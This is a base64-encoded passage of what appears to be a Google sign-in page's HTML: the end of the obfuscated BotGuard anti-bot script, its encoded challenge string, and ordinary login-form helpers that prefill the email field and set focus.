IoZT0wLGg9Yi5sZW5ndGg7ZTxoO2UrPWQpYyhiLnNsaWNlKGUsZStkKSxhKX1dLE0ucHJvdG90eXBlLmlhPWZ1bmN0aW9uKGEpe3JldHVybihhPXdpbmRvdy5wZXJmb3JtYW5jZSkmJmEubm93P2Z1bmN0aW9uKCl7cmV0dXJuIGEubm93KCl8MH06ZnVuY3Rpb24oKXtyZXR1cm4rbmV3IERhdGV9fSgpLE0ucHJvdG90eXBlLmhhPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGI9dGhpcy5RKCksYSYmYShiKSxifSxNLnByb3RvdHlwZS50PWZ1bmN0aW9uKGEsYixjLGQsZSxoKXt0cnl7Zm9yKGI9NTAwMSxjPWssZD0wLGE9dGhpcy5lLmxlbmd0aDstLWImJihkPXRoaXMuYSh0aGlzLmIpKTxhOyl0cnl7eih0aGlzLHRoaXMubSxkKSxlPUcodGhpcykldGhpcy5NLmxlbmd0aCwoYz10aGlzLk1bZV0pP2ModGhpcyk6dGhpcy5nKHRoaXMuVywwLGUpfWNhdGNoKGwpe2whPXRoaXMuQSYmKChoPXRoaXMuYSh0aGlzLmwpKT8oeih0aGlzLGgsbCkseih0aGlzLHRoaXMubCwwKSk6dGhpcy5nKHRoaXMuQixsKSl9Ynx8dGhpcy5nKHRoaXMuWCl9Y2F0Y2gobil7dHJ5e3RoaXMuZyh0aGlzLkIsbil9Y2F0Y2gobSl7dih0aGlzLG0pfX1yZXR1cm4gdGhpcy5hKHRoaXMuayl9LE0ucHJvdG90eXBlLlE9ZnVuY3Rpb24oYSxiLGMsZCxlLGgsbCxuLG0seSxyKXtpZih0aGlzLm4pcmV0dXJuIHRoaXMubjt0cnl7aWYodGhpcy5zPWZhbHNlLGI9dGhpcy5hKHRoaXMuZCkubGVuZ3RoLGM9dGhpcy5hKHRoaXMuZikubGVuZ3RoLGQ9dGhpcy5hKHRoaXMuaiksdGhpcy5jW3RoaXMuTF0mJkModGhpcyx0aGlzLmEodGhpcy5MKSksZT10aGlzLmEodGhpcy5oKSwwPGUubGVuZ3RoJiZOKHRoaXMsdGhpcy5kLEUoZS5sZW5ndGgsMikuY29uY2F0KGUpLHRoaXMuUiksaD10aGlzLmEodGhpcy5wKSYyNTUsaC09dGhpcy5hKHRoaXMuZCkubGVuZ3RoKzQsbD10aGlzLmEodGhpcy5mKSw0PGwubGVuZ3RoJiYoaC09bC5sZW5ndGgrMyksMDxoJiZOKHRoaXMsdGhpcy5kLEUoaCwyKS5jb25jYXQodyhoKSksdGhpcy5TKSw0PGwubGVuZ3RoJiZOKHRoaXMsdGhpcy5kLEUobC5sZW5ndGgsMikuY29uY2F0KGwpLHRoaXMuVCksbj1bM10uY29uY2F0KHRoaXMuYSh0aGlzLmQpKSx3aW5kb3cuYnRvYT8oeT13aW5kb3cuYnRvYShGKG4pKSxtPXk9eS5yZXBsYWNlKC9cXCsvZywiLSIpLnJlcGxhY2UoL1xcLy9nLCJfIikucmVwbGFjZSgvPS9nLCIiKSk6bT1rLG0pbT0iISIrbTtlbHNlIGZvcihtPSIiLGU9MDtlPG4ubGVuZ3RoO2UrKylyPW5bZV1bdGhpcy5KXSgxNiksMT09ci5sZW5ndGgmJihyPSIwIityKSxtKz1yO3RoaXMuYSh0aGlzLmQpLmxlbmd0aD1iLHRoaXMuYSh0aGlzLmYpLmxlbmd0aD1jLHoodGhpcyx0aGlzLmosZCksYT1tLHRoaXMucz10cnVlfWNhdGNoKHUpe3YodGhpcyx1KSxhPXRoaXMubn1yZXR1cm4gYX07dHJ5e3dpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJ1bmxvYWQiLGZ1bmN0aW9uKCl7fSxmYWxzZSl9Y2F0Y2goTyl7fXMoImJvdGd1YXJkLmJnIixNKSxzKCJib3RndWFyZC5iZy5wcm90b3R5cGUuaW52b2tlIixNLnByb3RvdHlwZS5oYSk7JykgfSkoKTwvc2NyaXB0PjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgIGRvY3VtZW50LmJnID0gbmV3IGJvdGd1YXJkLmJnKCdndTAvOVRobktVUVRYYWRRZjIrbmVZYU5EZ3VYM0ZxVXlyeDZiNnUxemhkTXp5b3pXUTVOR2xSUFVwL2pKWFJaNXJmZjZLNEdyWXVyNXBENFJBcDhGQnBXdHFpMUp2cEFOOUxEeU41YldqS01BdXptNjFkbTlhVlMrQTR3NE0yeisvaTJpbVM1TFplSEpDeTJvSW43WHJrdUF0d055aFAySVhOYnhKVEZYejZTZzR3NXZsWjNodVhrckNGR0d2T2RQS3lxQ2xJcGRaRmU1allVSzB5VWtnUWhKTFpvLzN3cTA2OTdSYTJhM0xWcmZvTlRGSnZXeXdqK1pNYitxRGZUYlZETnhjU1YxTkE5ZDBPSXg4RkgxMVNsVE1xaG5zK24wWlFvWlhmRXNVVWN1LzM2QnZHNm92SkFXQnNmMXhYVktFSWxJKzVscW5ETnY3dTA0UVh1UW1PRm1sTk1QeStsdWp6bHErc2VENm9WVzJLQWNBQVpkc051SlBkVkZYOTZGK1IzV3AzclgxQ05RazFlbEQ3eFRCNms2WmxIQ1c1YTNpWFBOcXZlOUJWTjNFVDQxUzhDb3FMSmdhQkQxT2wzQTc4UWJRQmRkUUtOVTAxdXpnUDJzNmxxN2hYWitpTzQvRUFCdFdkNzRnUVJGLytUeWJwdGtWQ0RRK0tMbWNPTmRkempLRWNsSkpKRWcvWWNUcmhVT1plMzhibG8zdmFEc2NJSXBLRSswR0tkRzllZkg2YjRHS0VGL1ptaEh1QmhqbWNZYU1kVlJjRkpCSnBON0swcTBLTXlTOE9wUis2b20wT25zZzFHYnFTdHhna2w5c1JCek9qK3NqNyttTEVMOXdqblAxWVo4b05jbEwwLzNJOWhUeHhQVEFEWGFzcTE3Nm5CQkVqQm0vT1B1bmhjOEM1QXhEbk40R3kyaUtNeVFNWFYzK1lWM29lY012bFpyVWxkajhiaGZCbWFBNVN4UUV6b2F2QnA3b08yNjNRZFh2c0llTzZTamNxaExWdmZVaUNGOUhLbWVpT3g4blRoTmRsbkk4QndtRm5LTFpuVzlIMXpxZFFtNG15Y2lMS1NLczdUL1hEQjVWZElJVHVJQVBSYjI1cGN1QWVmdFRjRWV0TjV4b24yTHBWMFdnM0xMeU9vbnBPeEdrMHVDUXRwd0J4WjFlWm8zWnNGME1JTklrN0Z5cDE0RkNzL0NFN2dmU05lZUNqaWh6cmR6cG54aXJZSEV5VWtPT1hkeUVoeWtvdksrTWdOc1NaNXR1eHUxNVJyRm9DVHlCSU9ZTGxSaklUc3N6VzhFeExTLzRURTcwdk45YXpvMGtFVUx0clVnTkNIQUN4d2RlTFFtbFNQTDJjb00rOUNsbFJFNHl0eC9qcUp2RG5ZKzNGUWZtVWtSVEVpVFh0Q2VTS3pDUHk3MjQxMW5BQ0xPYXp5MGROekJjQmNzaHpXdEMyd0MxQnkvN3ArMFhOU2FseXV6dGQ2cDk2ZDBEV0l4K1ZBNmRCNytEcGwzOWZMUW1zTG1IajRzVHR1MjJXQzE5ZU9QOXZYaU45VStxcVZrcW9tQ21mMFM5QXBSVEY0REtLODlpT211SVFSZnNXcnVRNTlFUDExdmw4ZGR1OFFnWEtMcGgxRHgrVlNQWHErYXRYd3pac0lzek1LTUxERE4ybE5SaDN2Wm9xYkFwUS9BbTlmTjFJb2hlT1NvSzlCTjRydXhpMnZsVFdvb1J6R0Fld0xPVWdPSk04SjI3eVV0QlJXdGhiOE1Uc1BxYW9Jc0p1aVBMNTNoL3NyOWhPR0tkOUZ3QTUwVzlNeldOenZnT3F0dUVGa29uMy9wV1FhR2g2S2xQSDlHYVdqb3pJcHRrUWxxbE9vM2VOUkJTWWoyWVp3aS9PN09EUFM2ZWkyWXJXanNSS3g2R1JQSWE1U3VGb2JMRHFXejMrNEY2cmpSMk5sSDAvRE1MdWFmVjIrclhUU2x2M0trUzYydTJMdFV0TmJVVmxUTzcwbC8xcFlrQkJ0Q0REOUlBM1B1OVpCcEticUE3NGRhL3VVNzhmWlNYY1JiRWJ6OC9LN3BBdnY0U1dsTkNyS3plR2FJMVp2YzQvQW05NHpmNUwxWEdlNUdBMDRCRktqN05sRVg1a1NyLzIxQzRPRERJVE4wV3dXKzR1WkNTTW5UdFlxRE9UdTVNL3hrYnBmYjh6bzYrTksrNnpKcWlJekVYK0VCSGdoNFVoZUd6TU9zYjNZQ1NxTERoMVEycHZuNEZ5QjdwejZRZXRNbG5tTVovdFBUUEZmcm5INTFJUDBYQzZTNlpkdUVTQTRhOUQzaCtpN3B1YWZwdVo3anh3T1R2YjF4eGtFZFpRYjUwYTNLQUtabWRJLzhwTUtzQ0lhWG1WRTdHUG1IdktGeHZUcG9JcFp0ZlI4a0Z1ZkkzSS9PTGp6VThhOWI1dk5aSi9FVVcwd0hNZFFwRFR3YVlLN1pPMkw2WFc1bm1BeWtqMHpjb0REdzB3Mjg0TFRYbTFpT3RrK0M0WXFUYWxLT2NJYkZwWks1Nmx4alRhRFZjaHFTRmV4Si9TN2FzU21JcWc1NHdoUWtLNzFPeFA1VmIweDRObXA0Q1NXTkhHMTRWK1N0dDBCZDk2c3ZVSjNjcjQ1SEcrU1liTHEyYmRTZFBUc09VbkJncCtaSmR0a3ZHMVR4VDJpWkgrTm1qUEpwZ0JQdFQrZ0pLWU02aWdYc3lUaTVtUlE0YVRpSTJnR21UNVhoeHAxbE9NcjhWUzFWRjNRb2JLckoyN0dmVlI4d3k0N2NndE1mM1gwUEo0aXpuNjlkcFNzbVVUb2hWdGUyR3pUOER3T282Y1RqS0ZjdmZwQ0pnUUttRHp2QmdvMDZzek1jbEdjUS9tNzNCQU9sZTRJUzFDZlVPK2k1cjN0ekNGOURMbWJRMG5FWUVud1p2OFd2M2lXM0diYWttbE5YaFUvNzhodXcxWmh6UXF6eE11elBESzBKNG1qZ2hZdHgrNDhDWmMvbVptdGw4VG1IL2lzS01Wa1kwU1hDQVdTMUxVQWRIT1pNaDR1alhGRXlCalZ3ejZjOWpYZUowSzdBZmxPdWMySUZoTmJtSUdONzlNVWsyY2VQYk9rMjVRRVlYRUl4SUVUQk0wUGFxeVhFbWRmMTlkWXFDdUtLK01HMWxUcHZzOTk5REo4dDNKQXpRMGxFMzRGbEtlN21xTFFZNG1OTUcrT25sQTlFL0orOHZYenR0cWlNNjVyQklBdmJMaExpajQ3c20yeUdjYjFEMzR3RXlxSjJOUjZQUEFXaXJ2SHVCY3pOS0dzaHB4b2w3RFFJbDFidC9JeWFiMXQ3b2Field3VGI4YkxNRmVpaEJ0MlB4THZEVERoYk0zNEVPb0k2RVU4dDk1Slp1R29OSVJxaFpiRXBLeFFVaG1QOXN0Mis3VUp1cThCKzAxUitRdXgwaktDNWpqbXp1MmtFc1VYQTljN1JSSFNlWk83Q2NDdUpOVmV0Tks1ZkZlNk1jNUtHckRKU2tYQUd0dVhiaXJuQzZnc2dXSGxVN3NMQll5ODlTTWpnUWZJd3A0MUxmVUl3Q3Q0NTRrMFM1cU1RVURaRGhMSzcrZnJSTGhyYmxtaWpWM0lVRS80UVNtbVZ0M016S050azZGRHhZZjBENFRIMlF1bWsyT2dmYmF2MFB1VXorK0JINTdtSitMeTRpUVhZMlJVQ2pFWVVCYTdRb0NYaXlpOE1rQWo3a0JvN0VPWWw2K21tTVVnWlV1Zk9vNC9IUG0rWGFNWFFxRjRJUE1TMS93NDV0WEM2S2ozUWpNSHlZblIxbzZ3ZndBeW0raEFqalBPNnBOYktuWVExWWxSbzlVMzlYYnZYMGtlVGxvVG5aN0V5OEZtOVAwSE9hTFlqaDY4S1ZsK0ZVU3lpV2lOelZETFQ2RVBmMEV5aER3Q0p0VkppWW1RcjNHeGIyaW9ocnhOUytFb2VCNDJsYW1zbVBJOXpPT3V5ZHdnQnBUVWtwRU84TmhzSXExRnVkYU5YK3NreEwxbEVLcU9ZckdLZUdjbHl5QS9QMS9YVndjYitXdkFJQ3hmSWczTGlhR2JnRWtabnIvM1NtOXdrN0JHMVh5Tk5Nd0tpdXNENVFqYlRlMmd1NDdOSTltR1VIdjNicG9YcmxoQ3l1NytUTlhudThtQ09Yck9UOHMrb290RWZwWmZYRWowcTh0ejJIQm5QK2RiNkZUKzVLTTRJTkNVNzdZYW95bG9Id2tFNU5Ub3hEdkJBY1Rsa09iaFNKSUhxMG9MSkZuSS9kSXB4RkxZN0VPNnRTYTRxYVhJenBoY3lQTFg4YkxYbEVINWRGU1lid1BSTGFYMGJGLzQ0RlRIT1d5TlFxYUp0WWpEN0hXUTlyQkxJd3gxcFZuNGVvZ0x2SXpldVF5UnFuS0dKNG5kOGJFc215MkovU0RqaFNEQkZVR09HcXlIZ281VXJhbnBOeUY4LzNpa2VESGJxaXcySmdmMFNpSDVUdm9HKzB2aHRBdml0RXNOMHdCWGh2c3lHUEcrYkhHQys0bG5wNnZEUTE0VzEvaHdnM3VwSW02MWIzdDlnNGp0Q25wdzVZVkJOQ0dad3o2QllYWWE0R05tTGRSTlhNN0VOQW5nNTQwWTVSbHJ4QlVXNDNtVzZxVmxYSUp0aGI3QTBMM3R5aXNMSGc3YUtJVlZHUGpyeStsazh5Q2RhRUh0ZnZRdVQxQzZOTHJsbzlOV0FtRlQ2blI2YUJkYjg0NzlEL3VkYkhRMllUdHp3bDdXWGlEUEhVQTNIRkZDSmVjQnNEYVBNQjBPTTBpN3pYRlZzUzArTUpXR2syTmJFUUhLTmNIMFpQN25lcnphbzdEUENDUDRmY05HalJ3YXFrT0k0TzNzbVBVSFdRb0VtUHVNY2w0d3RvOXU1YkFWalVUUGpUakJKc25mNGJscEIzVGJFeWgzaXZId0d6OFZBWXpRemV5NkJtVjNmd1JraGtkWDkzZHc5eHdLM0c4c0QrQnFyQkoxaGJoQmFSVnJOS2RILzdxSFlTZVBjYk1lNFhIclNZcEFDY0NGLzBnYWx1c3A3eFZIb1JtTVh4QjNQTlB1U0NtQkszY01mZ3A2ckZIZm43cWJXcVBFU1VZanJoWkcyOGJpOExXMVVhSlF2WmUzeUlyNUdNQWtnbGJOZXdkL0NjQS93UkxnbzdjdWdJR29jN0d4dTliUWxVN2FsT3RyZHNqck1IT0Y0M1RDUzMwNENTbUh1d0pWTkVaQTNUQ0pUdnRCTEJvQ0JhbmQwRDQzaThQUmNaVHJ0T2k1OW01STVjWmJ5RDN3WHNCeFNaeXdDRHBGMUQxYTRjVTlnbVFib2xzWVNTUDhjOFE0K0RaK3JqTlY2bDIvc2w3dVFNTzhUdzkycDNSNWRvamYxOWczMmVNQVVpRGpSbFF3Ykoxa3FXVndNY3JYc2NZbGpZRkFvS1hxWjJCb002UDRXclpRYlJJbU1CZVkxVjZUM2hhcmJRL0dXZVEwaVhsS0dwUHFmYWtFaXQvbzQ2ZDRNbGQ3YmQwTkRrYmZ2SGxPenlPV3hsQ2kzZWxSUkE5MDk3amszMGl2aFUxb2FIcmd6S1V1U2NsZG9UeVFYdWwzRENkVzdMclNsTUovM0cybGNaTEFENHl4MzNWSGVRc243NTFlQ3ljK1QzanZweVVGQlhJanVKSVhRQXNpb1I4dHhGbFdJT1hhTXVrRkU1ekpmRzgxTHY3MlhNeVk3bFNSZzkwbnJmVU8yTE5mSmtCL2xwTVdVVHR6RDd1NUkyVG1rOWt1VVJyeTd3TTNLTFE4V2NoK3pTbE9ud1hORGlzRmsvSEluRmI0czUrOGRZdC9FSDl2RXU0YnNVdW9rWStXK2xrd3FHVDRvTHlTa1Z0L2pGbXV6a3orcGJrUEJxUUY0RVkvRithQ1E3eStTVW54K003MHgxYy9oKzMvK3gvRStPSENRZTdlbVJkZkY0ZDljeWtiYzFDTHJiamk4TEp1RndFVUN0RmlTMFluSlhqZmRybm42M25MbzJUQ3VzVnM2WWgycUZJS3NCd3RKVmh1ZStTMGRzTStsWmJaS2ZnNXhzblYybjJ0MFhhSnBZUXA0UmFla1BwUEpNVGNReFI2eSsrSHJNM3ZJSWphSkhyVUNSOWtHbW5qTk1NNXFPTUUyaUNpam9OZGFMSUJ2K3QxQ2xXenhwcGhFVm1ZU05WYldJczVjR0lGeEV6SEJSTEY4M3M2WmE2TTUrajJPaCtHT3pkMlFVOUI5T2N0cXUvWjdvS1N6UjljNDF4OXpsaDJMaHovQ3VISngvM0c3ZFVLbm5CR1pia2ZsVmtqODRmcE94ZHdNT3lPZHl1THEzYWtKVkxlNmlBMGF2T0JJdGxuVkxSVEp5ZVJQc3VMaDRVK1VFVWs3cysrRVdJNXU0VnFlNEVZTlF0THViakJKTWJtdzlRcFY4OU13L3BTRnkrZS8vS3ZNdE5WUDN4b3FjWjVRU1I1TFExa3QvVUNCZ0wvMVpSeGtTc3VqZUh0WjV2Y0l5bSt1bzhzRjFOTU1SMWNPWGZ5YzlFRWNaWWhEbHFhSVRJQ29PNk5CODBCMXRGcThmUE1WV01ZVlE1QWlsaE1hMVRGUUlDWXQrRnlKVVNKZzRzNEpTZWswS21XMkF2MzhzWnNNRXFUbFI4bUU0NndxQUZjUi81S2JtRklRQWhuRzlzS1k4Z25tcU84eGNBRXcxNHZCMVkvVVFibzlHVWNoMFg5MUhzZVVNY09FWnEvcHA0dWVLVzRoRjF5MVhreDE3TkFjR04wZXpIQm0xOUpmWEkvL25ZbDAwcmJTRzgySXp2czhWT0xZTStYenhpaGtlVVAyaGpsYUJrVlMyOUhTV1VzMGtGVTlTOTloZDlPcW91M0pnbEU5Qmo3TUpXbm10ckhBWWpVYzdtK2E2L3g3R0laS0pNTnRnWmlaNDErSU1ickxTeENKbzlIL29qbmpWc1NCZTRuZEFmYXdiZWMzOEVXMzg3VnBzcVlEU0h2Ym5jWFJ4SGxkRkpxSDJGbmExVExmeHlOcC93bEV3THhPRzdVRGxMZmgrcmJ3SWJRcHI3aHlDd0I0WGxrb3lXN05kUHVrVzNRZFlQU0dCYUgyTExJWk5HdkZJZzFnSWhzcXNreUhkZklEbGIzM2g2R2c1Zm5BaHhpemxCbjZaZXl6SVU2cFdOUWlpN0lhQnd5cmhySzJ3bmhXcTlKdkxucklYSkxDWDMwbm9hWmg0dzdwR0QzelBlTVFodjlKYVFIenRJa0RzQnZBUzBXSWFLUzRTV2hkWmxEbTlKYlZDYURBWHJOdTllQTJCeUlLd2NPOWVvOHp0Rk9yRWpKTUFPNnRzQ0QzMGhvN3hyOWhjb0lYc3RNZFdCdWlRVFZKQnhPVGNTQ3RLSnlPalBRMERBUEpxeDdZZEJkSnJERmNTZGthbHpkZk85am9YQ0tqcVNBZ1R3VFF2R21vV0l1M0tWSW9wSHJqSjg2ekZQUVUzWWdGUld0azhDaGl2UVdheGNFbm5pZHNUb2FjOTY2M1VTOGRpNVVMclhPY1V3aEMyeGVvSENYdmREcTNPTWpCTkdVWDAvSlkrUFpVc05OMGFRZEkvVmRYdFJDbkJuV3JQenEyWDR1RzNDbFhTOXBDQ09UTDNpaUtqeno5RTBENTRCV1RsN1NYT1M5eU4zSUpOdEgrS05OcHNIWjJYNEZTWFgzUGVHY0VwWGdzWWo0N3FDLzdSUlBDNHhoczM3M0p6OUdsYlg0NUE2RlFwVnlBRTJtN2V2OUFoeTB0dFhaa21CTU82N0g5alp4Zi9sZ2p6a2dqZlVRZENhVjNPOXJOZ1FnamNBdUkzZSs3cnlHV1N3eE5ORjdRa3pzMWpiMmxxQnByZmpFLzFjMkJRSXhRU2t6di9iY01xTEwxbjlXQnIxVEVSZm1GZ2tuSXQvTXh5TGorMWVXZk96OEtRc05ZUWV6UHdDZUl5ZzBYTWV4dnB6aHJwa0ZDY3ZDYTZVZk5NM2Y4a2Fwa3haSkVIdlZZOEhYUWNCVnBpVGg3NFI1c2hRcytDb2ZEdFREKytYRG9BQ2xJbUhQUks4MW5ZeStSaGFtbEN5MjR6QTdXRFRKNlFyRzJwL1NTVGhlUHNqeXY0cGZlTitaRGhvcHQ0dWs5WlR0NkdDUXpxUlU2TlRPTS9IaDZsQmkzVnlGc0wwWFJ6MEdUNXppcGxQRVJlOGJmTUpkb2JBNm5ERXVLTzRSRU9keEdpeDI0SGtvSk9PSWxabnRNUEdWVDlYZ2EzWkpLSGtSTVhVVFJzRjdweWlTeHdETmlHZXUzNDFiZTI1dStySmFJZGROc1U1M3RjZTZMTVlpUFFGUVBmSmN5dlNvSWx3RWd2T2o4V0JJZ2xkNjRrVmorVHJlOGJqL1hPVWY2RE1VakM4bUI4ZzI0NFFHT1cyYXgrdDBMM0phUk9YbGM0NnpoQ2dlaG5rV0F6V1RkbjQzMnBVRW9hWTRuZGJ0SjdrVDdhY3dJRE5MbVVDRXM5VmNUTFB6NlZQelBRZytSSGRLejVhdVhSSEVWQnJ2ZjJ2aTh6VzlZWjZzRHFKdTZPb0VFbFVwZXkySWRsenM4TExaWnVqRlJyQVZhM213NTBvWXpuRDk0djJJTEFHTzVvOXZOSlZGV21wdFpEUW5tYnBqQkxBZHpXdzNaaHdxMldjUDlZdFNYd1NUSCtrRnZ2VEplN3RaMk1jeGNtUGZwMzlpL2hRSU1taUZuU2tPU3l6Y2NxakR4Zm1CNDhMMzdPRTg0NzZnemNqSEppWjZqVVMxVkZDN1Y4bG02eVYxc1VKcUNxL2FHYnFKczU5bkE2ei9LWE1kQVNNeFNHcFRkL21MQWJoSFpaOXNPNEpEdnI5VWowdzJOWVhxeHNRVEppenJweHNjTVhEK05rNG9pVkg4RnJXK2JrZWlvL2EvTlFWVXl0MTRxQXdSdGVkQ014K3lpZFZkd2pmT1laNy92Zi9jbVMzVzdBelRFNFh0N01obURnbXVLQVBpNG9PanJWeEZQWllrYzV3cmlUc1I5WlZLZS9vZXZEWFlXUHpLdmhZaDcwMThmRHVLcXVjOHV0QjhxM3ZLamcyUVNrVDRrRHMzRUpPanRVSmptY0ZoY1ZaaHM0L1FvZVdCUXNxMkV0WW40cHdKZi9qS2hRUWRKUEZRYzZrV2thRitRbG01TFhjTlh0WGR4M05qRFlkNVpXTUdmQlluYUZFR0IwN2xzeEF2WE56cC9BV0Y1aWpOT2FhNXBlUnVsTjJvSEQvOEowSVcyMW5LVXVXc3kyUEg4MDhKY1E4YWN3Y0YvU2V6TzBHMUJmMWxDZ3BabG45djhEb3lYbUdYK0J6QmNMVnJsNmZqYUNZY2ZRTnkwcHh3SklCWDZ4N1FDZDJPVWZvTmpJMk9ObWowNFlCb1A5d1VuQTR2Tnl5cUlnV2w3OVM5ejB5NVVjK0g3eWtEaW1xdWVGVlg2ZkhyRHhUdk1FL0FVMy9mczhLQ1FvcWZoeTBoc3ZuNVZzL1lFWDA2RkJPVWNpeHVpekpHV0dFb1AxdHdoQ2pzRGpsSjZ4akFENXBBUFFRdHpjdW9WbjdvSW1SQ0dNa0Y4MFdlaG1zQU1yZjAxcG9LUnJBMDlHeVNuTDkwOE4zZDhMSTFSRUl0ZmRXZTZRREZoaHowd2xtaWZQRTRYTmtiR3l1NTYvK1JPbllkTjluR3dYOHg3OHg4SW1qc1ZDVEIrekRJdStWTG9XWm5MSGg3cHhoSjdCQlVFQkxRbUNlcitIM05GSFpnVVBiLzlMTGdZUHQxaVh0ZjFlcG1tK25CU0FaM3lKMkdkUjdNNzRGU2c5TDhTVmExUG1ibEhTZWVPak9DQlE0SzJqdVhYRysvbklaQ2FvSU80U2g0SGoyOScpOw0KICA8L3NjcmlwdD48c2NyaXB0Pg0KICAgIGZ1bmN0aW9uIGdhaWFfcGFyc2VGcmFnbWVudCgpIHsNCiAgICAgICAgdmFyIGhhc2ggPSBsb2NhdGlvbi5oYXNoOw0KICAgICAgICB2YXIgcGFyYW1zID0ge307DQogICAgICAgIGlmICghaGFzaCkgew0KICAgICAgICAgICAgcmV0dXJuIHBhcmFtczsNCiAgICAgICAgfQ0KICAgICAgICB2YXIgcGFyYW1TdHJzID0gZGVjb2RlVVJJQ29tcG9uZW50KGhhc2guc3Vic3RyaW5nKDEpKS5zcGxpdCgnJicpOw0KICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHBhcmFtU3Rycy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgdmFyIHBhcmFtID0gcGFyYW1TdHJzW2ldLnNwbGl0KCc9Jyk7DQogICAgICAgICAgICBwYXJhbXNbcGFyYW1bMF1dID0gcGFyYW1bMV07DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHBhcmFtczsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBnYWlhX3ByZWZpbGxFbWFpbCgpIHsNCiAgICAgICAgdmFyIGZvcm0gPSBudWxsOw0KICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpIHsNCiAgICAgICAgICAgIGZvcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2FpYV9sb2dpbmZvcm0nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChmb3JtICYmIGZvcm0uRW1haWwgJiYNCiAgICAgICAgKGZvcm0uRW1haWwudmFsdWUgPT0gbnVsbCB8fCBmb3JtLkVtYWlsLnZhbHVlID09ICcnKQ0KICAgICAgICAmJiAoZm9ybS5FbWFpbC50eXBlICE9ICdoaWRkZW4nKSkgew0KICAgICAgICAgICAgaGFzaFBhcmFtcyA9IGdhaWFfcGFyc2VGcmFnbWVudCgpOw0KICAgICAgICAgICAgaWYgKGhhc2hQYXJhbXNbJ0VtYWlsJ10gJiYgaGFzaFBhcmFtc1snRW1haWwnXSAhPSAnJykgew0KICAgICAgICAgICAgICAgIGZvcm0uRW1haWwudmFsdWUgPSBoYXNoUGFyYW1zWydFbWFpbCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQoNCiAgICB0cnkgew0KICAgICAgICBnYWlhX3ByZWZpbGxFbWFpbCgpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICB9DQogIA0KPC9zY3JpcHQ+PHNjcmlwdD4NCiAgICBmdW5jdGlvbiBnYWlhX3NldEZvY3VzKCkgew0KICAgICAgICB2YXIgZm9ybSA9IG51bGw7DQogICAgICAgIHZhciBpc0ZvY3VzYWJsZUZpZWxkID0gZnVuY3Rpb24gKGlucHV0RWxlbWVudCkgew0KICAgICAgICAgICAgaWYgKCFpbnB1dEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoaW5wdXRFbGVtZW50LnR5cGUgIT0gJ2hpZGRlbicgJiYgaW5wdXRFbGVtZW50LmZvY3VzICYmDQogIGlucHV0RWxlbWVudC5zdHlsZS5kaXNwbGF5ICE9ICdub25lJykgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9Ow0KICAgICAgICB2YXIgaXNGb2N1c2FibGVFcnJvckZpZWxkID0gZnVuY3Rpb24gKGlucHV0RWxlbWVudCkgew0KICAgICAgICAgICAgaWYgKCFpbnB1dEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgaGFzRXJyb3IgPSBpbnB1dEVsZW1lbnQuY2xhc3NOYW1lLmluZGV4T2YoJ2Zvcm0tZXJyb3InKSA+IC0xOw0KICAgICAgICAgICAgaWYgKGhhc0Vycm9yICYmIGlzRm9jdXNhYmxlRmllbGQoaW5wdXRFbGVtZW50KSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9Ow0KICAgICAgICB2YXIgaXNGb2N1c2FibGVFbXB0eUZpZWxkID0gZnVuY3Rpb24gKGlucHV0RWxlbWVudCkgew0KICAgICAgICAgICAgaWYgKCFpbnB1dEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgaXNFbXB0eSA9IGlucHV0RWxlbWVudC52YWx1ZSA9PSBudWxsIHx8IGlucHV0RWxlbWVudC52YWx1ZSA9PSAnJzsNCiAgICAgICAgICAgIGlmIChpc0VtcHR5ICYmIGlzRm9jdXNhYmxlRmllbGQoaW5wdXRFbGVtZW50KSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9Ow0KICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpIHsNCiAgICAgICAgICAgIGZvcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ2FpYV9sb2dpbmZvcm0nKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZm9ybSkgew0KICAgICAgICAgICAgdmFyIHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKTsNCiAgICAgICAgICAgIHZhciBmb3JtRmllbGRzID0gZm9ybS5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgZm9ybUZpZWxkcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHZhciBjdXJyZW50RmllbGQgPSBmb3JtRmllbGRzW2ldOw0KICAgICAgICAgICAgICAgIGlmIChpc0ZvY3VzYWJsZUVycm9yRmllbGQoY3VycmVudEZpZWxkKSkgew0KICAgICAgICAgICAgICAgICAgICBjdXJyZW50RmllbGQuZm9jdXMoKTsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgY3VycmVudFZhbHVlID0gY3VycmVudEZpZWxkLnZhbHVlOw0KICA